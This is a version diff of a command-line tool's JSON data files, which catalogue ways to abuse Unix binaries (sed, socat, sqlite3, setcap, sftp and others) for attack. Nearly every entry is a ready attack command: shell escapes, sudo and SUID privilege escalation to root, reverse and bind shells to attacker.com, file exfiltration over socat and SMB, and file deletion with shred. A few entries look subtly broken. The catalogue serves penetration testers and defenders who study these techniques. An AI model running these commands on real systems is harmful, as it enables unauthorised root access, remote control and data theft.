gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

gtfo/data/sed.json

@@ -2,40 +2,43 @@
   "functions": {
     "shell": [
       {
-        "description": "GNU version only. Also, this requires 'bash'.",
-        "code": "sed -n '1e exec sh 1>&0' /etc/hosts"
+        "description": "GNU version only. Also, this requires `bash`.",
+        "code": "sed -n '1e exec sh 1>&0' /etc/hosts\n"
       },
       {
         "description": "GNU version only. The resulting shell is not a proper TTY shell.",
-        "code": "sed e"
+        "code": "sed e\n"
       }
     ],
     "command": [
       {
         "description": "GNU version only.",
-        "code": "sed -n '1e id' /etc/hosts"
+        "code": "sed -n '1e id' /etc/hosts\n"
       }
     ],
     "file-write": [
       {
-        "code": "sed -n \"1s/.*/DATA/w [file]\" /etc/hosts\n"
+        
+        "code": "LFILE=file_to_write\nsed -n \"1s/.*/DATA/w $LFILE\" /etc/hosts\n"
       }
     ],
     "file-read": [
       {
-        "code": "sed '' [file]\n"
+        
+        "code": "LFILE=file_to_read\nsed '' \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./sed -e '' [file]\n"
+        
+        "code": "LFILE=file_to_read\n./sed -e '' \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
         "description": "GNU version only. Also, this requires `bash`.",
-        "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts"
+        "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts\n"
       }
     ]
   }
-}
+}

gtfo/data/service.json

@@ -2,13 +2,15 @@
   "functions": {
     "shell": [
       {
-        "code": "/usr/sbin/service ../../bin/sh"
+        
+        "code": "/usr/sbin/service ../../bin/sh\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo service ../../bin/sh"
+        
+        "code": "sudo service ../../bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/setarch.json

@@ -2,18 +2,21 @@
   "functions": {
     "shell": [
       {
-        "code": "setarch $(arch) /bin/sh"
+        
+        "code": "setarch $(arch) /bin/sh\n"
       }
     ],
     "suid": [
       {
-        "code": "./setarch $(arch) /bin/sh -p"
+        
+        "code": "./setarch $(arch) /bin/sh -p\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo setarch $(arch) /bin/sh"
+        
+        "code": "sudo setarch $(arch) /bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/setcap.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "suid": [
+      {
+        "description": "Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid.",
+        "code": "cp $(which python) .\nsetcap cap_setuid+ep python\n./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "",
+        "code": "cp $(which python) .\nsudo setcap cap_setuid+ep python\n./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n"
+      }
+    ]
+  }
+}

gtfo/data/setfacl.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "suid": [
+      {
+        
+        "code": "LFILE=file_to_change\nUSER=somebody\n./setfacl -m u:$USER:rwx $LFILE\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_change\nUSER=somebody\nsudo setfacl -m -u:$USER:rwx $LFILE\n"
+      }
+    ]
+  }
+}

gtfo/data/setlock.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "TF=$(mktemp)\nsetlock $TF /bin/sh\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./setlock - /bin/sh -p\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo setlock - /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/sftp.json

@@ -2,25 +2,27 @@
   "functions": {
     "shell": [
       {
-        "code": "sftp [user@host]\n!/bin/sh\n"
+        
+        "code": "HOST=user@attacker.com\nsftp $HOST\n!/bin/sh\n"
       }
     ],
     "file-upload": [
       {
         "description": "Send local file to a SSH server.",
-        "code": "sftp [user@host]\nput [source_file] [destination_file]\n"
+        "code": "RHOST=user@attacker.com\nsftp $RHOST\nput file_to_send file_to_save\n"
       }
     ],
     "file-download": [
       {
         "description": "Fetch a remote file from a SSH server.",
-        "code": "sftp [user@host]\nget [source_file] [destination_file]\n"
+        "code": "RHOST=user@attacker.com\nsftp $RHOST\nget file_to_get file_to_save\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo sftp [user@host]\n!/bin/sh\n"
+        
+        "code": "HOST=user@attacker.com\nsudo sftp $HOST\n!/bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/sg.json

@@ -8,6 +8,7 @@
     ],
     "sudo": [
       {
+        
         "code": "sudo sg root\n"
       }
     ]

gtfo/data/shred.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "file-write": [
+      {
+        "description": "",
+        "code": "LFILE=file_to_delete\nshred -u $LFILE\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "",
+        "code": "LFILE=file_to_delete\nsudo shred -u $LFILE\n"
+      }
+    ]
+  }
+}

gtfo/data/shuf.json

@@ -3,26 +3,26 @@
     "file-read": [
       {
         "description": "The read file content is corrupted by randomizing the order of NUL terminated strings.",
-        "code": "shuf -z \"[file]\"\n"
+        "code": "LFILE=file_to_read\nshuf -z \"$LFILE\"\n"
       }
     ],
     "file-write": [
       {
         "description": "The written file content is corrupted by adding a newline.",
-        "code": "shuf -e DATA -o \"[file]\"\n"
+        "code": "LFILE=file_to_write\nshuf -e DATA -o \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
         "description": "The written file content is corrupted by adding a newline.",
-        "code": "./shuf -e DATA -o \"[file]\"\n"
+        "code": "LFILE=file_to_write\n./shuf -e DATA -o \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
         "description": "The written file content is corrupted by adding a newline.",
-        "code": "sudo shuf -e DATA -o \"[file]\"\n"
+        "code": "LFILE=file_to_write\nsudo shuf -e DATA -o \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/slsh.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "slsh -e 'system(\"/bin/sh\")'\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo slsh -e 'system(\"/bin/sh\")'\n"
+      }
+    ],
+    "limited-suid": [
+      {
+        
+        "code": "./slsh -e 'system(\"/bin/sh\")'\n"
+      }
+    ]
+  }
+}

gtfo/data/smbclient.json

@@ -1,27 +1,28 @@
 {
-  "description": "A valid SMB/CIFS server must be available.",
   "functions": {
     "shell": [
       {
-        "code": "smbclient '\\\\[host]\\share'\n!/bin/sh\n"
+        
+        "code": "smbclient '\\\\attacker\\share'\n!/bin/sh\n"
       }
     ],
     "file-upload": [
       {
-        "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to collect the file.",
-        "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
+        "description": "Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file.",
+        "code": "smbclient '\\\\attacker\\share' -c 'put file_to_send where_to_save'\n"
       }
     ],
     "file-download": [
       {
-        "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to send the file.",
-        "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
+        "description": "Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file.",
+        "code": "smbclient '\\\\attacker\\share' -c 'put file_to_send where_to_save'\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo smbclient '\\\\[host]\\share'\n!/bin/sh\n"
+        
+        "code": "sudo smbclient '\\\\attacker\\share'\n!/bin/sh\n"
       }
     ]
   }
-}
+}

gtfo/data/snap.json

@@ -2,8 +2,8 @@
   "functions": {
     "sudo": [
       {
-        "description": "It runs commands using a specially crafted Snap package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```cd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"[command]\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxxx -s dir -t snap -a all meta\n```",
-        "code": "sudo snap install xxxxx_1.0_all.snap --dangerous --devmode\n"
+        "description": "It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nCOMMAND=id\ncd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"$COMMAND\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxx -s dir -t snap -a all meta\n```\n",
+        "code": "sudo snap install xxxx_1.0_all.snap --dangerous --devmode\n"
       }
     ]
   }

gtfo/data/socat.json

@@ -8,26 +8,38 @@
     ],
     "reverse-shell": [
       {
-        "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
-        "code": "socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
+        "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nsocat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
       }
     ],
     "bind-shell": [
       {
-        "description": "Run 'socat FILE:`tty`,raw,echo=0 TCP:[host]:[port]' on the attacker box to connect to the shell.",
-        "code": "socat TCP-LISTEN:[port],reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n"
+        "description": "Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell.",
+        "code": "LPORT=12345\nsocat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n"
       }
     ],
     "file-upload": [
       {
-        "description": "Run 'socat -u tcp-listen:[port],reuseaddr open:[file],creat' on the attacker box to collect the file.",
-        "code": "socat -u file:[file] tcp-connect:[host]:[port]\n"
+        "description": "Run ``socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat`` on the attacker box to collect the file.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nsocat -u file:$LFILE tcp-connect:$RHOST:$RPORT\n"
       }
     ],
     "file-download": [
       {
-        "description": "Run 'socat -u file:[file] tcp-listen:[port],reuseaddr' on the attacker box to send the file.",
-        "code": "socat -u tcp-connect:[host]:[port] open:[file],creat\n"
+        "description": "Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nsocat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat\n"
+      }
+    ],
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nsocat -u \"file:$LFILE\" -\n"
+      }
+    ],
+    "file-write": [
+      {
+        
+        "code": "LFILE=file_to_write\nsocat -u 'exec:echo DATA' \"open:$LFILE,creat\"\n"
       }
     ],
     "sudo": [
@@ -38,9 +50,9 @@
     ],
     "limited-suid": [
       {
-        "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
-        "code": "./socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
+        "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
+        "code": "RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
       }
     ]
   }
-}
+}

gtfo/data/socket.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "reverse-shell": [
+      {
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "RHOST=attacker.com\nRPORT=12345\nsocket -qvp '/bin/sh -i' $RHOST $RPORT\n"
+      }
+    ],
+    "bind-shell": [
+      {
+        "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
+        "code": "LPORT=12345\nsocket -svp '/bin/sh -i' $LPORT\n"
+      }
+    ]
+  }
+}

gtfo/data/soelim.json

@@ -1,20 +1,22 @@
 {
-  "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
   "functions": {
     "file-read": [
       {
-        "code": "soelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\nsoelim \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./soelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\n./soelim \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo soelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\nsudo soelim \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/softlimit.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "softlimit /bin/sh\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./softlimit /bin/sh -p\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo softlimit /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/sort.json

@@ -2,18 +2,27 @@
   "functions": {
     "file-read": [
       {
-        "code": "sort -m [file]\n"
+        "description": "",
+        "code": "LFILE=file_to_read\nsort -m \"$LFILE\"\n"
+      }
+    ],
+    "file-write": [
+      {
+        "description": "",
+        "code": "LFILE=file_to_write\necho DATA | sort -o \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./sort -m [file]\n"
+        "description": "",
+        "code": "LFILE=file_to_read\n./sort -m \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo sort -m [file]\n"
+        "description": "",
+        "code": "LFILE=file_to_read\nsudo sort -m \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/split.json

@@ -2,17 +2,28 @@
   "functions": {
     "file-read": [
       {
-        "code": "TF=$(mktemp)\nsplit [file] $TF\ncat $TF*\n"
+        
+        "code": "LFILE=file_to_read\nTF=$(mktemp)\nsplit $LFILE $TF\ncat $TF*\n"
+      }
+    ],
+    "file-write": [
+      {
+        "description": "Data will be written in the current directory in a file named `xaa` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.",
+        "code": "TF=$(mktemp)\necho DATA >$TF\nsplit -b999m $TF\n"
+      },
+      {
+        "description": "GNU version only. Data will be written in the current directory in a file named `xaa.xxx` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.",
+        "code": "EXT=.xxx\nTF=$(mktemp)\necho DATA >$TF\nsplit -b999m --additional-suffix $EXTENSION $TF\n"
       }
     ],
     "command": [
       {
         "description": "Command execution using an existing or newly created file.",
-        "code": "TF=$(mktemp)\nsplit --filter=[command] $TF\n"
+        "code": "COMMAND=id\nTF=$(mktemp)\nsplit --filter=$COMMAND $TF\n"
       },
       {
         "description": "Command execution using stdin (and close it directly).",
-        "code": "echo | split --filter=[command] /dev/stdin\n"
+        "code": "COMMAND=id\necho | split --filter=$COMMAND /dev/stdin\n"
       }
     ],
     "shell": [
@@ -24,7 +35,7 @@
     "sudo": [
       {
         "description": "The shell prompt is not printed.",
-        "code": "split --filter=/bin/sh /dev/stdin\n"
+        "code": "sudo split --filter=/bin/sh /dev/stdin\n"
       }
     ]
   }

gtfo/data/sqlite3.json

@@ -2,32 +2,38 @@
   "functions": {
     "shell": [
       {
-        "code": "sqlite3 /dev/null '.shell /bin/sh'"
+        
+        "code": "sqlite3 /dev/null '.shell /bin/sh'\n"
       }
     ],
     "file-write": [
       {
-        "code": "sqlite3 /dev/null -cmd \".output [file]\" 'select \"DATA\";'\n"
+        
+        "code": "LFILE=file_to_write\nsqlite3 /dev/null -cmd \".output $LFILE\" 'select \"DATA\";'\n"
       }
     ],
     "file-read": [
       {
-        "code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF\n"
+        
+        "code": "LFILE=file_to_read\nsqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import $LFILE t\nSELECT * FROM t;\nEOF\n"
       }
     ],
     "suid": [
       {
-        "code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF"
+        
+        "code": "LFILE=file_to_read\nsqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import $LFILE t\nSELECT * FROM t;\nEOF\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo sqlite3 /dev/null '.shell /bin/sh'"
+        
+        "code": "sudo sqlite3 /dev/null '.shell /bin/sh'\n"
       }
     ],
     "limited-suid": [
       {
-        "code": "./sqlite3 /dev/null '.shell /bin/sh'"
+        
+        "code": "./sqlite3 /dev/null '.shell /bin/sh'\n"
       }
     ]
   }

gtfo/data/sqlmap.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "sqlmap -u 127.0.0.1 --eval=\"import os; os.system('/bin/sh')\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo sqlmap -u 127.0.0.1 --eval=\"import os; os.system('/bin/sh')\"\n"
+      }
+    ]
+  }
+}

gtfo/data/ss.json

@@ -1,19 +1,21 @@
 {
-  "description": "The file content is actually parsed so only a part of the first line is returned as a part of an error message.\n",
   "functions": {
     "file-read": [
       {
-        "code": "ss -a -F [file]\n"
+        
+        "code": "LFILE=file_to_read\nss -a -F $LFILE\n"
       }
     ],
     "suid": [
       {
-        "code": "./ss -a -F [file]\n"
+        
+        "code": "LFILE=file_to_read\n./ss -a -F $LFILE\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo ss -a -F [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo ss -a -F $LFILE\n"
       }
     ]
   }

gtfo/data/ssh-agent.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "ssh-agent /bin/sh\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./ssh-agent /bin/ -p\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo ssh-agent /bin/\n"
+      }
+    ]
+  }
+}